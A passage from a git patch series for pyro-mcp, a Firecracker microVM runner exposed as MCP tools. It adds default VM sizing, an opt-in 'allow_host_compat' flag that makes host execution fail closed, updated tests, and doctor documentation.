ttl_seconds = arguments.get("ttl_seconds", 600) - timeout_seconds = arguments.get("timeout_seconds", 30) + ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS) + timeout_seconds = arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS) return pyro.run_in_vm( environment=_require_str(arguments, "environment"), command=_require_str(arguments, "command"), - vcpu_count=_require_int(arguments, "vcpu_count"), - mem_mib=_require_int(arguments, "mem_mib"), + vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT), + mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB), timeout_seconds=_require_int({"timeout_seconds": timeout_seconds}, "timeout_seconds"), ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"), network=_require_bool(arguments, "network", default=False), + allow_host_compat=_require_bool( + arguments, + "allow_host_compat", + default=DEFAULT_ALLOW_HOST_COMPAT, + ), ) if tool_name == "vm_list_environments": return {"environments": pyro.list_environments()} if tool_name == "vm_create": - ttl_seconds = arguments.get("ttl_seconds", 600) + ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS) return pyro.create_vm( environment=_require_str(arguments, "environment"), - vcpu_count=_require_int(arguments, "vcpu_count"), - mem_mib=_require_int(arguments, "mem_mib"), + vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT), + mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB), ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"), network=_require_bool(arguments, "network", default=False), + allow_host_compat=_require_bool( + arguments, + "allow_host_compat", + default=DEFAULT_ALLOW_HOST_COMPAT, + ), ) if tool_name == "vm_start": return pyro.start_vm(_require_str(arguments, "vm_id")) @@ -275,10 +300,10 @@ def _run_direct_lifecycle_fallback(pyro: Pyro) -> dict[str, Any]: return pyro.run_in_vm( environment="debian:12", command=NETWORK_PROOF_COMMAND, - vcpu_count=1, - mem_mib=512, + vcpu_count=DEFAULT_VCPU_COUNT, + mem_mib=DEFAULT_MEM_MIB, timeout_seconds=60, - ttl_seconds=600, + ttl_seconds=DEFAULT_TTL_SECONDS, network=True, ) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 2017a1a..6c2a235 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "1.0.0" +DEFAULT_CATALOG_VERSION = "2.0.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", @@ -48,7 +48,7 @@ class VmEnvironment: oci_repository: str | None = None oci_reference: str | None = None source_digest: str | None = None - compatibility: str = ">=1.0.0,<2.0.0" + compatibility: str = ">=2.0.0,<3.0.0" @dataclass(frozen=True) @@ -114,6 +114,11 @@ def _default_cache_dir() -> Path: ) +def default_cache_dir() -> Path: + """Return the canonical default environment cache directory.""" + return _default_cache_dir() + + def _manifest_profile_digest(runtime_paths: RuntimePaths, profile_name: str) -> str | None: profiles = runtime_paths.manifest.get("profiles") if not isinstance(profiles, dict): diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 5cc0b17..9d005de 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -19,13 +19,19 @@ from pyro_mcp.runtime import ( resolve_runtime_paths, runtime_capabilities, ) -from pyro_mcp.vm_environments import EnvironmentStore, get_environment +from pyro_mcp.vm_environments import EnvironmentStore, default_cache_dir, get_environment from pyro_mcp.vm_firecracker import build_launch_plan from pyro_mcp.vm_guest import VsockExecClient from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager VmState = Literal["created", "started", "stopped"] +DEFAULT_VCPU_COUNT = 1 +DEFAULT_MEM_MIB = 1024 +DEFAULT_TIMEOUT_SECONDS = 30 +DEFAULT_TTL_SECONDS = 600 +DEFAULT_ALLOW_HOST_COMPAT = False + @dataclass class VmInstance: @@ -41,6 +47,7 @@ class VmInstance: workdir: Path state: VmState = "created" network_requested: bool = False + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT firecracker_pid: int | None = None last_error: str | None = None metadata: dict[str, str] = field(default_factory=dict) @@ -262,7 +269,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover ) instance.firecracker_pid = process.pid instance.metadata["execution_mode"] = ( - "guest_vsock" if self._runtime_capabilities.supports_guest_exec else "host_compat" + "guest_vsock" if self._runtime_capabilities.supports_guest_exec else "guest_boot_only" ) instance.metadata["boot_mode"] = "native" @@ -342,6 +349,11 @@ class VmManager: MAX_MEM_MIB = 32768 MIN_TTL_SECONDS = 60 MAX_TTL_SECONDS = 3600 + DEFAULT_VCPU_COUNT = DEFAULT_VCPU_COUNT + DEFAULT_MEM_MIB = DEFAULT_MEM_MIB + DEFAULT_TIMEOUT_SECONDS = DEFAULT_TIMEOUT_SECONDS + DEFAULT_TTL_SECONDS = DEFAULT_TTL_SECONDS + DEFAULT_ALLOW_HOST_COMPAT = DEFAULT_ALLOW_HOST_COMPAT def __init__( self, @@ -355,7 +367,7 @@ class VmManager: ) -> None: self._backend_name = backend_name or "firecracker" self._base_dir = base_dir or Path("/tmp/pyro-mcp") - resolved_cache_dir = cache_dir or self._base_dir / ".environment-cache" + resolved_cache_dir = cache_dir or default_cache_dir() self._runtime_paths = runtime_paths if self._backend_name == "firecracker": self._runtime_paths = self._runtime_paths or resolve_runtime_paths() @@ -420,10 +432,11 @@ class VmManager: self, *, environment: str, - vcpu_count: int, - mem_mib: int, - ttl_seconds: int, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) get_environment(environment, runtime_paths=self._runtime_paths) @@ -446,7 +459,9 @@ class VmManager: expires_at=now + ttl_seconds, workdir=self._base_dir / vm_id, network_requested=network, + allow_host_compat=allow_host_compat, ) + instance.metadata["allow_host_compat"] = str(allow_host_compat).lower() self._backend.create(instance) self._instances[vm_id] = instance return self._serialize(instance) @@ -456,11 +471,12 @@ class VmManager: *, environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: created = self.create_vm( environment=environment, @@ -468,6 +484,7 @@ class VmManager: mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) vm_id = str(created["vm_id"]) try: @@ -486,6 +503,12 @@ class VmManager: self._ensure_not_expired_locked(instance, time.time()) if instance.state not in {"created", "stopped"}: raise RuntimeError(f"vm {vm_id} cannot be started from state {instance.state!r}") + self._require_guest_boot_or_opt_in(instance) + if not self._runtime_capabilities.supports_vm_boot: + instance.metadata["execution_mode"] = "host_compat" + instance.metadata["boot_mode"] = "compat" + if self._runtime_capabilities.reason is not None: + instance.metadata["runtime_reason"] = self._runtime_capabilities.reason self._backend.start(instance) instance.state = "started" return self._serialize(instance) @@ -498,8 +521,11 @@ class VmManager: self._ensure_not_expired_locked(instance, time.time()) if instance.state != "started": raise RuntimeError(f"vm {vm_id} must be in 'started' state before vm_exec") + self._require_guest_exec_or_opt_in(instance) + if not self._runtime_capabilities.supports_guest_exec: + instance.metadata["execution_mode"] = "host_compat" exec_result = self._backend.exec(instance, command, timeout_seconds) - execution_mode = instance.metadata.get("execution_mode", "host_compat") + execution_mode = instance.metadata.get("execution_mode", "unknown") cleanup = self.delete_vm(vm_id, reason="post_exec_cleanup") return { "vm_id": vm_id, @@ -587,12 +613,35 @@ class VmManager: "expires_at": instance.expires_at, "state": instance.state, "network_enabled": instance.network is not None, + "allow_host_compat": instance.allow_host_compat, "guest_ip": instance.network.guest_ip if instance.network is not None else None, "tap_name": instance.network.tap_name if instance.network is not None else None, - "execution_mode": instance.metadata.get("execution_mode", "host_compat"), + "execution_mode": instance.metadata.get("execution_mode", "pending"), "metadata": instance.metadata, } + def _require_guest_boot_or_opt_in(self, instance: VmInstance) -> None: + if self._runtime_capabilities.supports_vm_boot or instance.allow_host_compat: + return + reason = self._runtime_capabilities.reason or "runtime does not support real VM boot" + raise RuntimeError( + "guest boot is unavailable and host compatibility mode is disabled: " + f"{reason}. Set allow_host_compat=True (CLI: --allow-host-compat) to opt into " + "host execution." + ) + + def _require_guest_exec_or_opt_in(self, instance: VmInstance) -> None: + if self._runtime_capabilities.supports_guest_exec or instance.allow_host_compat: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest command execution" + ) + raise RuntimeError( + "guest command execution is unavailable and host compatibility mode is disabled: " + f"{reason}. Set allow_host_compat=True (CLI: --allow-host-compat) to opt into " + "host execution." + ) + def _get_instance_locked(self, vm_id: str) -> VmInstance: try: return self._instances[vm_id] diff --git a/tests/test_api.py b/tests/test_api.py index a58d153..b282378 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -25,6 +25,7 @@ def test_pyro_run_in_vm_delegates_to_manager(tmp_path: Path) -> None: timeout_seconds=30, ttl_seconds=600, network=False, + allow_host_compat=True, ) assert int(result["exit_code"]) == 0 assert str(result["stdout"]) == "ok\n" @@ -74,12 +75,30 @@ def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: { "environment": "debian:12-base", "command": "printf 'ok\\n'", - "vcpu_count": 1, - "mem_mib": 512, "network": False, + "allow_host_compat": True, }, ) ) result = asyncio.run(_run()) assert int(result["exit_code"]) == 0 + + +def test_pyro_create_vm_defaults_sizing_and_host_compat(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + created = pyro.create_vm( + environment="debian:12-base", + allow_host_compat=True, + ) + + assert created["vcpu_count"] == 1 + assert created["mem_mib"] == 1024 + assert created["allow_host_compat"] is True diff --git a/tests/test_cli.py b/tests/test_cli.py index a2a9b10..f862f93 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -2,6 +2,7 @@ from __future__ import annotations import argparse import json +import sys from typing import Any import pytest @@ -29,6 +30,8 @@ def test_cli_run_prints_json( timeout_seconds=30, ttl_seconds=600, network=True, + allow_host_compat=False, + json=True, command_args=["--", "echo", "hi"], ) @@ -44,7 +47,7 @@ def test_cli_doctor_prints_json( ) -> None: class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(command="doctor", platform="linux-x86_64") + return argparse.Namespace(command="doctor", platform="linux-x86_64", json=True) monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) monkeypatch.setattr( @@ -93,7 +96,7 @@ def test_cli_env_list_prints_json( class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(command="env", env_command="list") + return argparse.Namespace(command="env", env_command="list", json=True) monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) monkeypatch.setattr(cli, "Pyro", StubPyro) @@ -102,6 +105,372 @@ def test_cli_env_list_prints_json( assert output["environments"][0]["name"] == "debian:12" +def test_cli_run_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def run_in_vm(self, **kwargs: Any) -> dict[str, Any]: + assert kwargs["vcpu_count"] == 1 + assert kwargs["mem_mib"] == 1024 + return { + "environment": kwargs["environment"], + "execution_mode": "guest_vsock", + "exit_code": 0, + "duration_ms": 12, + "stdout": "hi\n", + "stderr": "", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="run", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + timeout_seconds=30, + ttl_seconds=600, + network=False, + allow_host_compat=False, + json=False, + command_args=["--", "echo", "hi"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + cli.main() + + captured = capsys.readouterr() + assert captured.out == "hi\n" + assert "[run] environment=debian:12 execution_mode=guest_vsock exit_code=0" in captured.err + + +def test_cli_run_exits_with_command_status( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def run_in_vm(self, **kwargs: Any) -> dict[str, Any]: + del kwargs + return { + "environment": "debian:12", + "execution_mode": "guest_vsock", + "exit_code": 7, + "duration_ms": 5, + "stdout": "", + "stderr": "bad\n", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="run", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + timeout_seconds=30, + ttl_seconds=600, + network=False, + allow_host_compat=False, + json=False, + command_args=["--", "false"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + with pytest.raises(SystemExit, match="7"): + cli.main() + + captured = capsys.readouterr() + assert "bad\n" in captured.err + + def test_cli_requires_run_command() -> None: with pytest.raises(ValueError, match="command is required"): cli._require_command([]) + + +def test_print_env_helpers_render_human_output(capsys: pytest.CaptureFixture[str]) -> None: + cli._print_env_list_human( + { + "catalog_version": "2.0.0", + "environments": [ + {"name": "debian:12", "installed": True, "description": "Git environment"}, + "ignored", + ], + } + ) + cli._print_env_detail_human( + { + "name": "debian:12", + "version": "1.0.0", + "distribution": "debian", + "distribution_version": "12", + "installed": True, + "cache_dir": "/cache", + "default_packages": ["bash", "git"], + "description": "Git environment", + "install_dir": "/cache/linux-x86_64/debian_12-1.0.0", + "install_manifest": "/cache/linux-x86_64/debian_12-1.0.0/environment.json", + "kernel_image": "/cache/vmlinux", + "rootfs_image": "/cache/rootfs.ext4", + "oci_registry": "registry-1.docker.io", + "oci_repository": "thalesmaciel/pyro-environment-debian-12", + "oci_reference": "1.0.0", + }, + action="Environment", + ) + cli._print_prune_human({"count": 2, "deleted_environment_dirs": ["a", "b"]}) + cli._print_doctor_human( + { + "platform": "linux-x86_64", + "runtime_ok": False, + "issues": ["broken"], + "kvm": {"exists": True, "readable": True, "writable": False}, + "runtime": { + "cache_dir": "/cache", + "capabilities": { + "supports_vm_boot": True, + "supports_guest_exec": False, + "supports_guest_network": True, + }, + }, + "networking": {"tun_available": True, "ip_forward_enabled": False}, + } + ) + captured = capsys.readouterr().out + assert "Catalog version: 2.0.0" in captured + assert "debian:12 [installed] Git environment" in captured + assert "Install manifest: /cache/linux-x86_64/debian_12-1.0.0/environment.json" in captured + assert "Deleted 2 cached environment entries." in captured + assert "Runtime: FAIL" in captured + assert "Issues:" in captured + + +def test_print_env_list_human_handles_empty(capsys: pytest.CaptureFixture[str]) -> None: + cli._print_env_list_human({"catalog_version": "2.0.0", "environments": []}) + output = capsys.readouterr().out + assert "No environments found." in output + + +def test_write_stream_skips_empty(capsys: pytest.CaptureFixture[str]) -> None: + cli._write_stream("", stream=sys.stdout) + cli._write_stream("x", stream=sys.stdout) + captured = capsys.readouterr() + assert captured.out == "x" + + +def test_cli_env_pull_prints_human( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def pull_environment(self, environment: str) -> dict[str, object]: + assert environment == "debian:12" + return { + "name": "debian:12", + "version": "1.0.0", + "distribution": "debian", + "distribution_version": "12", + "installed": True, + "cache_dir": "/cache", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="env", + env_command="pull", + environment="debian:12", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Pulled: debian:12" in output + + +def test_cli_env_inspect_and_prune_print_human( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def inspect_environment(self, environment: str) -> dict[str, object]: + assert environment == "debian:12" + return { + "name": "debian:12", + "version": "1.0.0", + "distribution": "debian", + "distribution_version": "12", + "installed": False, + "cache_dir": "/cache", + } + + def prune_environments(self) -> dict[str, object]: + return {"count": 1, "deleted_environment_dirs": ["stale"]} + + class InspectParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="env", + env_command="inspect", + environment="debian:12", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: InspectParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + + class PruneParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace(command="env", env_command="prune", json=False) + + monkeypatch.setattr(cli, "_build_parser", lambda: PruneParser()) + cli.main() + + output = capsys.readouterr().out + assert "Environment: debian:12" in output + assert "Deleted 1 cached environment entry." in output + + +def test_cli_doctor_prints_human( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace(command="doctor", platform="linux-x86_64", json=False) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr( + cli, + "doctor_report", + lambda platform: { + "platform": platform, + "runtime_ok": True, + "issues": [], + "kvm": {"exists": True, "readable": True, "writable": True}, + }, + ) + cli.main() + output = capsys.readouterr().out + assert "Runtime: PASS" in output + + +def test_cli_run_json_error_exits_nonzero( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def run_in_vm(self, **kwargs: Any) -> dict[str, Any]: + del kwargs + raise RuntimeError("guest boot is unavailable") + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="run", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + timeout_seconds=30, + ttl_seconds=600, + network=False, + allow_host_compat=False, + json=True, + command_args=["--", "echo", "hi"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + with pytest.raises(SystemExit, match="1"): + cli.main() + + payload = json.loads(capsys.readouterr().out) + assert payload["ok"] is False + + +def test_cli_mcp_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> None: + observed: dict[str, str] = {} + + class StubPyro: + def create_server(self) -> Any: + return type( + "StubServer", + (), + {"run": staticmethod(lambda transport: observed.update({"transport": transport}))}, + )() + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace(command="mcp", mcp_command="serve") + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + assert observed == {"transport": "stdio"} + + +def test_cli_demo_default_prints_json( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace(command="demo", demo_command=None, network=False) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "run_demo", lambda network: {"exit_code": 0, "network": network}) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["exit_code"] == 0 + + +def test_cli_demo_ollama_verbose_and_error_paths( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class VerboseParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="demo", + demo_command="ollama", + base_url="http://localhost:11434/v1", + model="llama3.2:3b", + verbose=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: VerboseParser()) + monkeypatch.setattr( + cli, + "run_ollama_tool_demo", + lambda **kwargs: { + "exec_result": {"exit_code": 0, "execution_mode": "guest_vsock", "stdout": "true\n"}, + "fallback_used": False, + }, + ) + cli.main() + output = capsys.readouterr().out + assert "[summary] stdout=true" in output + + class ErrorParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="demo", + demo_command="ollama", + base_url="http://localhost:11434/v1", + model="llama3.2:3b", + verbose=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ErrorParser()) + monkeypatch.setattr( + cli, + "run_ollama_tool_demo", + lambda **kwargs: (_ for _ in ()).throw(RuntimeError("tool loop failed")), + ) + with pytest.raises(SystemExit, match="1"): + cli.main() + assert "[error] tool loop failed" in capsys.readouterr().out diff --git a/tests/test_demo.py b/tests/test_demo.py index 481b333..ed261dd 100644 --- a/tests/test_demo.py +++ b/tests/test_demo.py @@ -53,7 +53,7 @@ def test_run_demo_happy_path(monkeypatch: pytest.MonkeyPatch) -> None: "environment": "debian:12", "command": "git --version", "vcpu_count": 1, - "mem_mib": 512, + "mem_mib": 1024, "timeout_seconds": 30, "ttl_seconds": 600, "network": False, @@ -95,3 +95,4 @@ def test_run_demo_network_uses_probe(monkeypatch: pytest.MonkeyPatch) -> None: demo_module.run_demo(network=True) assert "https://example.com" in str(captured["command"]) assert captured["network"] is True + assert captured["mem_mib"] == 1024 diff --git a/tests/test_ollama_demo.py b/tests/test_ollama_demo.py index e8a3d3d..406fa20 100644 --- a/tests/test_ollama_demo.py +++ b/tests/test_ollama_demo.py @@ -52,9 +52,8 @@ def _stepwise_model_response(payload: dict[str, Any], step: int) -> dict[str, An { "environment": "debian:12", "command": "printf 'true\\n'", - "vcpu_count": 1, - "mem_mib": 512, "network": True, + "allow_host_compat": True, } ), }, @@ -119,9 +118,8 @@ def test_run_ollama_tool_demo_accepts_legacy_profile_and_string_network( { "profile": "debian:12", "command": "printf 'true\\n'", - "vcpu_count": 1, - "mem_mib": 512, "network": "true", + "allow_host_compat": True, } ), }, @@ -224,8 +222,7 @@ def test_run_ollama_tool_demo_resolves_vm_id_placeholder( "arguments": json.dumps( { "environment": "debian:12", - "vcpu_count": "2", - "mem_mib": "2048", + "allow_host_compat": True, } ), }, @@ -280,6 +277,7 @@ def test_dispatch_tool_call_vm_exec_autostarts_created_vm(tmp_path: Path) -> Non vcpu_count=1, mem_mib=512, ttl_seconds=60, + allow_host_compat=True, ) vm_id = str(created["vm_id"]) @@ -458,6 +456,7 @@ def test_dispatch_tool_call_coverage(tmp_path: Path) -> None: "mem_mib": "512", "ttl_seconds": "60", "network": False, + "allow_host_compat": True, }, ) vm_id = str(created["vm_id"]) @@ -477,10 +476,9 @@ def test_dispatch_tool_call_coverage(tmp_path: Path) -> None: { "environment": "debian:12-base", "command": "printf 'true\\n'", - "vcpu_count": "1", - "mem_mib": "512", "timeout_seconds": "30", "network": False, + "allow_host_compat": True, }, ) assert int(executed_run["exit_code"]) == 0 diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 5090286..97aaa16 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -49,11 +49,11 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: assert command_name in help_text run_parser = _build_parser() - run_help = run_parser.parse_args( - ["run", "debian:12-base", "--vcpu-count", "1", "--mem-mib", "512", "--", "true"] - ) + run_help = run_parser.parse_args(["run", "debian:12-base", "--", "true"]) assert run_help.command == "run" assert run_help.environment == "debian:12-base" + assert run_help.vcpu_count == 1 + assert run_help.mem_mib == 1024 run_help_text = _subparser_choice(parser, "run").format_help() for flag in PUBLIC_CLI_RUN_FLAGS: diff --git a/tests/test_server.py b/tests/test_server.py index 0434702..17a358c 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -56,10 +56,9 @@ def test_vm_run_round_trip(tmp_path: Path) -> None: { "environment": "debian:12", "command": "printf 'git version 2.0\\n'", - "vcpu_count": 1, - "mem_mib": 512, "ttl_seconds": 600, "network": False, + "allow_host_compat": True, }, ) ) @@ -109,9 +108,8 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: "vm_create", { "environment": "debian:12-base", - "vcpu_count": 1, - "mem_mib": 512, "ttl_seconds": 600, + "allow_host_compat": True, }, ) ) @@ -127,9 +125,8 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: "vm_create", { "environment": "debian:12-base", - "vcpu_count": 1, - "mem_mib": 512, "ttl_seconds": 1, + "allow_host_compat": True, }, ) ) diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 0182064..e307688 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -22,6 +22,7 @@ def test_vm_manager_lifecycle_and_auto_cleanup(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, ) vm_id = str(created["vm_id"]) started = manager.start_vm(vm_id) @@ -47,6 +48,7 @@ def test_vm_manager_exec_timeout(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -67,6 +69,7 @@ def test_vm_manager_stop_and_delete(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -89,6 +92,7 @@ def test_vm_manager_reaps_expired(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, + allow_host_compat=True, )["vm_id"] ) instance = manager._instances[vm_id] # noqa: SLF001 @@ -112,6 +116,7 @@ def test_vm_manager_reaps_started_vm(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, + allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -145,9 +150,21 @@ def test_vm_manager_max_active_limit(tmp_path: Path) -> None: max_active_vms=1, network_manager=TapNetworkManager(enabled=False), ) - manager.create_vm(environment="debian:12-base", vcpu_count=1, mem_mib=512, ttl_seconds=600) + manager.create_vm( + environment="debian:12-base", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) with pytest.raises(RuntimeError, match="max active VMs reached"): - manager.create_vm(environment="debian:12-base", vcpu_count=1, mem_mib=512, ttl_seconds=600) + manager.create_vm( + environment="debian:12-base", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) def test_vm_manager_state_validation(tmp_path: Path) -> None: @@ -162,6 +179,7 @@ def test_vm_manager_state_validation(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, )["vm_id"] ) with pytest.raises(RuntimeError, match="must be in 'started' state"): @@ -186,6 +204,7 @@ def test_vm_manager_status_expired_raises(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, + allow_host_compat=True, )["vm_id"] ) manager._instances[vm_id].expires_at = 0.0 # noqa: SLF001 @@ -213,6 +232,7 @@ def test_vm_manager_network_info(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, ) vm_id = str(created["vm_id"]) status = manager.status_vm(vm_id) @@ -236,6 +256,7 @@ def test_vm_manager_run_vm(tmp_path: Path) -> None: timeout_seconds=30, ttl_seconds=600, network=False, + allow_host_compat=True, ) assert int(result["exit_code"]) == 0 assert str(result["stdout"]) == "ok\n" @@ -283,3 +304,33 @@ def test_vm_manager_firecracker_backend_path( network_manager=TapNetworkManager(enabled=False), ) assert manager._backend_name == "firecracker" # noqa: SLF001 + + +def test_vm_manager_fails_closed_without_host_compat_opt_in(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + vm_id = str( + manager.create_vm( + environment="debian:12-base", + ttl_seconds=600, + )["vm_id"] + ) + + with pytest.raises(RuntimeError, match="guest boot is unavailable"): + manager.start_vm(vm_id) + + +def test_vm_manager_uses_canonical_default_cache_dir( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + monkeypatch.setenv("PYRO_ENVIRONMENT_CACHE_DIR", str(tmp_path / "cache")) + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + assert manager._environment_store.cache_dir == tmp_path / "cache" # noqa: SLF001 diff --git a/uv.lock b/uv.lock index 279cbde..b0df50c 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "1.0.0" +version = "2.0.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 38b6aeba6812c9df74867f54d98085f9ae4d8c48 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Mon, 9 Mar 2026 21:00:37 -0300 Subject: [PATCH 02/49] Align doctor docs with CLI output --- docs/host-requirements.md | 14 +++++++++++++- docs/troubleshooting.md | 3 ++- 2 files changed, 15 insertions(+), 2 deletions(-) diff --git a/docs/host-requirements.md b/docs/host-requirements.md index 81d0754..132d74e 100644 --- a/docs/host-requirements.md +++ b/docs/host-requirements.md @@ -25,7 +25,19 @@ The current implementation uses `sudo -n` for host networking commands when a ne pyro doctor ``` -Check these fields in the output: +In the default human-readable output, check: + +- `Runtime: PASS` +- `KVM: exists=yes readable=yes writable=yes` +- `Networking: tun=yes ip_forward=yes` + +If you need the raw structured fields instead: + +```bash +pyro doctor --json +``` + +Check: - `runtime_ok` - `kvm` diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index dc5ac3f..a8225bd 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -68,7 +68,8 @@ Cause: Fix: - reinstall the package -- verify `pyro 